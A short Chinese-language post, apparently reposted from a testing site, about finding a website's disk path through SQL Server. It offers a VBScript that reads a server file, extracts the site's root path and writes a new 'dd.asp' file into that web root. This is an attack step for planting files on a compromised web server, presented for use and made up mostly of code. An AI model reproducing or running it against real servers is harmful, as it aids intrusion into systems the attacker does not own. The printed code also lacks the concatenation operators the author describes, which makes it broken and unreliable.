軟件測試開發技術SQL Server取得網站路徑的幾種方法及比較

哈哈,的確是好方法,

不過原文好像有點問題

就是

set fil =fso1.opentextfile(spa %2B "\system32\aa.txt")

set fil1 =fso1.opentextfile(pa%2B"\dd.asp",2,true)

兩句提交時會出錯

于是我們想到了加號,和&的功能相同

還有就是寫點什么東西到dd.asp呢?寫入pa,哈哈

哈哈,改成了

-------------------read.vbs---------------------------------

set fso1=createobject("scripting.filesystemobject")

Set WshShell = Wscript.createObject("Wscript.Shell")

spa=WshShell.Environment("process")("windir")

set fil =fso1.opentextfile(spa "\system32\aa.txt")

do while not fil.atendofstream

nr=fil.readline

if left(nr,4)="Path" then

pa=mid(nr,instr(nr,")") 3,len(nr)-instr(nr,")")-3)

exit do

end if

loop

set fil1 =fso1.opentextfile(pa "\dd.asp",2,true)

fil1.writeline pa

---------------cut here--------------------------------------

文章來源于領測軟件測試網 http://www.kjueaiud.com/